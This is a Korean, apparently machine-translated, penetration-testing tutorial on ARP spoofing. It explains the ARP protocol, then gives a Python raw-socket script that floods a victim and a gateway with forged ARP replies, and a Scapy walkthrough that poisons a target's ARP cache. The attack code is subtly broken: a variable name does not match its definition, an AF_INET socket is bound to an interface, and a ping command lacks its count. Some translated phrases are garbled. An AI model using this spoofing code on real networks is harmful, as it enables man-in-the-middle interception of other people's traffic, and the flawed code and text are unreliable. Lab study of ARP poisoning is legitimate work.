Python 침투 테스트-ARP 스푸핑

ARP는 인터넷 프로토콜 (IP) 주소를 물리적 머신 주소에 매핑하는 데 사용되는 상태 비 저장 프로토콜로 정의 될 수 있습니다.

ARP의 작동

이 섹션에서는 ARP의 작동에 대해 배웁니다. ARP의 작동 방식을 이해하려면 다음 단계를 고려하십시오.

  • Step 1 − 먼저, 기계가 다른 기계와 통신하기를 원할 때 물리적 주소에 대한 ARP 테이블을 찾아야합니다.

  • Step 2 − 기계의 물리적 주소를 찾으면 올바른 길이로 변환 한 패킷을 원하는 기계로 전송

  • Step 3 − 그러나 테이블에 IP 주소에 대한 항목이 없으면 ARP_request가 네트워크를 통해 브로드 캐스트됩니다.

  • Step 4− 이제 네트워크의 모든 머신은 브로드 캐스트 된 IP 주소를 MAC 주소와 비교하고 네트워크의 머신이 주소를 식별하는 경우 해당 IP 및 MAC 주소와 함께 ARP_request에 응답합니다. 이러한 ARP 메시지를 ARP_reply라고합니다.

  • Step 5 − 마지막으로 요청을 보내는 기계는 ARP 테이블에 주소 쌍을 저장하고 전체 통신이 수행됩니다.

ARP 스푸핑이란 무엇입니까?

악의적 인 행위자가 근거리 통신망을 통해 위조 된 ARP 요청을 보내는 공격 유형으로 정의 될 수 있습니다. ARP 중독은 ARP 스푸핑이라고도합니다. 다음 사항을 통해 이해할 수 있습니다.

  • 스위치 과부하를위한 첫 번째 ARP 스푸핑은 엄청난 수의 위조 된 ARP 요청 및 응답 패킷을 구성합니다.

  • 그러면 스위치가 포워딩 모드로 설정됩니다.

  • 이제 ARP 테이블에 스푸핑 된 ARP 응답이 넘쳐 공격자가 모든 네트워크 패킷을 스니핑 할 수 있습니다.

Python을 사용한 구현

이 섹션에서는 ARP 스푸핑의 Python 구현을 이해합니다. 이를 위해서는 3 개의 MAC 주소가 필요합니다. 첫 번째는 피해자, 두 번째는 공격자, 세 번째는 게이트웨이입니다. 이와 함께 ARP 프로토콜의 코드도 사용해야합니다.

다음과 같이 필요한 모듈을 가져 오겠습니다.

import socket
import struct
import binascii

이제 3 개의 매개 변수가있는 소켓을 생성합니다. 첫 번째 매개 변수는 패킷 인터페이스 (Linux 전용의 경우 PF_PACKET, Windows의 경우 AF_INET)에 대해 알려주고, 두 번째 매개 변수는 원시 소켓인지, 세 번째 매개 변수는 우리가 관심있는 프로토콜에 대해 알려줍니다 (여기서는 0x0800은 IP에 사용됨). 실험 계획안).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

이제 공격자, 피해자 및 게이트웨이 머신의 MAC 주소를 제공합니다.

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

다음과 같이 ARP 프로토콜의 코드를 제공해야합니다.

code ='\x08\x06'

두 개의 이더넷 패킷 (피해자 머신 용과 게이트웨이 머신 용)이 다음과 같이 제작되었습니다.

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

다음 코드 줄은 ARP 헤더에 따라 순서대로입니다.

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

이제 우리는 게이트웨이 머신과 피해자 머신의 IP 주소를 제공해야합니다 (게이트웨이와 피해자 머신에 대해 다음과 같은 IP 주소가 있다고 가정 해 봅시다)-

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

위의 IP 주소를 16 진수 형식으로 변환하십시오. socket.inet_aton() 방법.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

다음 코드 줄을 실행하여 게이트웨이 컴퓨터의 IP 주소를 변경합니다.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Kali Linux에서 Scapy를 사용한 구현

ARP 스푸핑은 Kali Linux에서 Scapy를 사용하여 구현할 수 있습니다. 동일한 작업을 수행하려면 다음 단계를 따르십시오.

1 단계 : 공격자 컴퓨터의 주소

이 단계에서는 다음 명령을 실행하여 공격자 컴퓨터의 IP 주소를 찾습니다. ifconfig Kali Linux의 명령 프롬프트에서.

2 단계 : 대상 머신의 주소

이 단계에서는 다음 명령을 실행하여 대상 컴퓨터의 IP 주소를 찾습니다. ifconfig 다른 가상 머신에서 열어야하는 Kali Linux의 명령 프롬프트에서.

3 단계 : 대상 머신 핑

이 단계에서는 다음 명령을 사용하여 공격자 컴퓨터에서 대상 컴퓨터를 ping해야합니다.

Ping –c 192.168.43.85(say IP address of target machine)

4 단계 : 대상 머신의 ARP 캐시

우리는 이미 두 컴퓨터가 ARP 패킷을 사용하여 MAC 주소를 교환한다는 것을 알고 있으므로 3 단계 이후에 대상 컴퓨터에서 다음 명령을 실행하여 ARP 캐시를 볼 수 있습니다.

arp -n

5 단계 : Scapy를 사용하여 ARP 패킷 생성

다음과 같이 Scapy의 도움으로 ARP 패킷을 생성 할 수 있습니다.

scapy
arp_packt = ARP()
arp_packt.display()

6 단계 : Scapy를 사용하여 악성 ARP 패킷 전송

다음과 같이 Scapy의 도움으로 악성 ARP 패킷을 보낼 수 있습니다.

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

이제 대상 컴퓨터에서 ARP 캐시를 다시 확인하면 가짜 주소 '1.1.1.1'이 표시됩니다.